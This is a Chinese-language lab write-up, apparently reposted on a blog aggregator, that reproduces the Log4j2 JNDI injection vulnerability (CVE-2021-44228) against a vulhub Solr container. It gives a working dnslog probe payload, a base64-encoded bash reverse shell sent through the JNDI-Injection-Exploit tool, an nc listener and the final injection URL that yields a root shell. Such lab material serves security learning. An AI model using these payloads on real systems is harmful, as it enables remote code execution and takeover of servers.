[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

这篇具有很好参考价值的文章主要介绍了[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

刚搭好vulhub,迫不及待的来复现一下2021-2022最潮最in的漏洞log4j2,因为算是热点了面试什么的的感觉都蛮容易被问到的,这里就来整理一下这个漏洞相关信息和漏洞复现的流程。

影响版本:log4j 2.x <= 2.14.1

一、log4j2漏洞相关知识介绍

漏洞简介

首先肯定得简单了解一下log4j2到底是什么东西,log4j2是Apache的一个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。

至于漏洞原理,简单说就是当你使用log4j2中提供的方法去输出日志信息时,比如说最常见的:

String a = "变量输入" 
LOGGER.info("日志信息:{}",a);

我们通过这样的语句输出了一句日志信息,其中{}的部分由我们传进去的变量决定,当然一般我们传进去的都是一些很普通的语句,所以不会出什么问题。但如果我们往里面传一些别的代码呢,比如传一个${java.os}这样的语句,执行后可以看到:

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

可以看到它执行了java.os的内容把我们操作系统的信息显示出来了,看到这里很多人立马想到:这里可能会存在注入攻击,类似我们熟悉的XSS注入、SQL注入等等。当然这里输入的信息因为是日志的信息,用户是看不到的,所以显示了也没啥影响,但是实际上这里是存在着JNID注入的。

JNDI注入简单介绍

JNDI,中文名叫java命名和目录接口,它为我们提供了命名和目录服务,具体就不多讲了。主要是JNDI其中有一个lookup()方法,这是一个查找方法,上面代码执行结果也正是因为log4j2在获取到${}这样的格式的时候会自动的去调用lookup()方法。而这个方法的可怕之处就在于,它可以远程加载对象,比如我们传一个像:

lookup("rmi://127.0.0.1/test")
lookup("ldap://127.0.0.1/test")

这样的参数进去,它就可以远程访问到我们(黑客)本地的类,那如果这些类里面有恶意代码的话造成的危害显然是非常严重的。

二、在vulhub进行漏洞复现流程详解

首先启动docker,然后进入漏洞环境目录:

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

启动容器,查看端口并从浏览器进入: 

 docker-compose up -d

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

 环境网站就是这个样子:

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

下面正式开始漏洞的复现!我们先在dnslog.cn获取一个域名来监控我们注入的效果。 

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

 首先肯定要有一个注入点,我们可以发现/solr/admin/cores?这里有个参数可以传,可以按照上面的原理先构造一个请求传过去:

cores?action=${jndi:ldap://${sys:java.version}.wixour.dnslog.cn}

存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在dnslog.cn那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号:

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

 当然我们肯定不会只用这个漏洞来读java版本号,接下来我们尝试利用漏洞进行命令执行。

反弹shell漏洞利用:

用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:

sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)

下下来之后把它打包成jar包,这里我是直接网上找了一个现成的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,找起来应该也很方便。

开始漏洞利用,首先我们构造反弹shell用到的命令:

bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

这里我直接用的当前虚拟机的ip,端口号随便输一个,反弹shell需要经过编码,所以我们对上面那段命令base64加密。

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

 加密完毕后把结果复制下来,构造payload,输入如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "10.0.2.15" 

-C后面的参数是要执行的命令以及编码方式,-A后面就是对应ip地址。

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

 

可以看到有三个服务,看到熟悉的rmi和ldap,实际上这个jar的作用就是帮我们生成了恶意代码类,并且生成了对应的url,然后我们就可以回到刚才的网站去进行JNDI注入:

在注入之前另起一个终端,监控刚刚的那个端口,这里是6666:

nc -lvvp 端口号

然后就回到刚才的页面,构造url:

/solr/admin/cores?action=${jndi:ldap://10.0.2.15:1389/zjla02}

直接访问 :

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

我们可以看到网页被重定向到了我们的恶意类地址:

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境) 

去另外一个监控终端看看shell有没有弹回来:

[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境) 

弹回来了,用whoami命令查看权限,发现已经成功获取到root权限了。大功告成。 

以上就是在vulhub环境下复现log4j4漏洞的全过程,也算是边学边做,通过这次复现熟悉了JNDI注入的原理利用,其实原理并不难,但在如今还会爆出如此严重的漏洞,只能说网络安全还是仍重而道远。文章来源地址https://www.toymoban.com/news/detail-473196.html

到了这里,关于[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    前言: Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。 2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ld

    2024年02月12日
    浏览(31)
  • Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

    2.15.0之前版漏洞相关文章 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法) Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理 2.15.

    2024年02月07日
    浏览(40)
  • log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

    自从log4j2.14.1版本爆出漏洞后,官方截止目前为止,共发布了3个稳定版本,分别是15.0、16.0、17.0。 本篇文章就分析一下每个版本都做了哪些事情,以此来评估每个版本升级的必要性。 分割线--------------------------------------------------------------------------------------- 在28号晚上,log4

    2024年02月07日
    浏览(33)
  • 【漏洞复现】Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2017-5645 漏洞名称 Log4j Server 反序列化命令执行漏洞 漏洞评级 高危 影响范围 Apache Log4j 2.8.2之前的2.x版本 漏洞描述 修复方案 1.1、漏洞描述 攻击者可以通过发送一个特别制作的2进

    2024年02月05日
    浏览(44)
  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)

    目录 一、漏洞介绍 二、漏洞环境搭建 三、漏洞利用 四、漏洞流量特征: CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。 进入漏洞目录文件,启动漏洞环境:docker-c

    2024年02月16日
    浏览(37)
  • Log4j2远程命令执行(CVE-2021-44228)

    2.0 = Apache Log4j2= 2.14.1 启动服务后,进入主页面,点击页面中的???链接,跳转到,目标地址。 首先使用dnslog进行测试,是否存在jndi注入的点,再ceyedns平台接收到了反馈的消息,发现此处存在jndi注入。 如果payload没有进行url编码,可能会导致后台无法解析,最好的方式就是

    2024年02月04日
    浏览(40)
  • log4j复现之CVE-2017-5645

    一、靶机环境的安装 1.docker环境安装 2.下载vlnhub 由于网络原因,直接到官网去下,得到的压缩文件,然后对其解压即可。 二、编译启动靶机 三、漏洞利用 1.到官网下载 ysoserial-all.jar 文件 2.注意运行的Java环境是1.7

    2024年02月16日
    浏览(33)
  • 网络安全 log4j漏洞复现

    前言: log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。 漏洞描述: 由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最

    2024年02月09日
    浏览(51)
  • Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。 说明 内容 漏洞编号 CVE-2017-5645 漏洞名称 Apache Log4j Server 反序列化命令执行漏洞 漏洞评级 高危 影响范围 Apache Log4j 2.8.2之前

    2024年02月07日
    浏览(28)
  • JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用

    1.首先搭建log4j靶场 2.开启服务 Windows攻击端执行以下命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 9999 -i 127.0.0.1 再开一个cmd可以看下能用什么payload java -jar JNDIExploit-1.2-SNAPSHOT.jar -u 以上payload都可以尝试,我们使用 ldap://null:1389/TomcatBypass/TomcatEcho 3.构造请求 ${jndi:ldap://192.168.155.2

    2024年02月09日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包